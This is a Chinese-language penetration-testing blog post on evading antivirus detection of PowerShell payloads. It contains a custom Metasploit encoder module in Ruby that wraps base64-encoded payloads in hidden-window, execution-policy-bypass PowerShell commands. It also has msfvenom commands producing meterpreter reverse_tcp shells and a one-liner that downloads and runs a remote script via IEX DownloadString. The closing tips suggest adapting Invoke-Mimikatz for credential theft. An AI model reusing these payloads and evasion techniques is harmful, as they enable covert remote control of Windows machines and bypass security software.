Windows PowerShell的強大,並且內置,在滲透過程中,也讓滲透變得更加有趣。而安全軟件的對抗查殺也逐漸開始針對powershell的一切行為。
在https://technet.microsoft.com,看到文檔如下:
Windows PowerShell是以.NET Framework技術為基礎,並且與現有的WSH保持向后兼容,因此它的腳本程序不僅能訪問.NET CLR,也能使用現有的COM技術。同時也包含了數種系統管理工具、簡易且一致的語法,提升管理者處理,常見如登錄數據庫、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服務器軟件都將內置Windows PowerShell。
Here is a listing of the available startup parameters:
-Command Specifies the command text to execute as though it were typed at the PowerShell command prompt.
-EncodedCommand Specifies the base64-encoded command text to execute.
-ExecutionPolicy Sets the default execution policy for the console session.
-File Sets the name of a script fi le to execute.
-InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.
-NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).
-NoLogo Starts the PowerShell console without displaying the copyright banner.
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user.
-NoProfile Tells the PowerShell console not to load the current user’s profile.
-OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell.
-Sta Starts PowerShell in single-threaded mode.
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.
針對它的特性,本地測試:Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')
上文所說,越來越多的殺軟開始對抗,powershell的部分行為,或者特征。以msfvenom為例,生成payload
micropoor.ps1不幸被殺
針對powershell特性,更改payload
接下來考慮的事情是如何把以上重復的工作變成自動化,並且針對powershell,DownloadString特性,設計出2種payload形式:
(1)目標機出網
(2)目標機不出網
並且根據需求,無縫連接Metasploit。
根據微軟文檔,可以找到可能對以上有幫助的屬性,分別為:
WindowStyle
NoExit
EncodedCommand
exec
自動化實現如下:
# copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
# E.g
# msf encoder(powershell/base64) > use exploit/multi/handler
# msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
# payload => windows/x64/meterpreter/reverse_tcp
# msf exploit(multi/handler) > exploit
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
# [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
class MetasploitModule < Msf::Encoder
Rank = NormalRanking
def initialize
super(
'Name' => 'Powershell Base64 Encoder',
'Description' => %q{
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
},
'Author' => 'Micropoor',
'Arch' => ARCH_CMD,
'Platform' => 'win')
register_options([
OptBool.new('payload', [ false, 'Use payload ', false ]),
OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
])
end
def encode_block(state, buf)
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
cmd = ''
if datastore['x64']
cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
else
cmd += 'powershell.exe '
end
if datastore['payload']
cmd += '-windowstyle hidden -exec bypass -NoExit '
end
cmd += "-EncodedCommand #{base64}"
end
end
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
參數 payload 選擇是否使用Metasploit payload,來去掉powershell的關鍵字。
例1(目標出網,下載執行):
echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows
例2(目標不出網,本地執行)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload
注:加payload參數
更多有趣的實驗:
把例1的down內容更改為例2,並且去掉payload參數。來減小payload大小。
更改Invoke-Mimikatz.ps1等。
https://technet.microsoft.com/en-us/library/ff629472.aspx
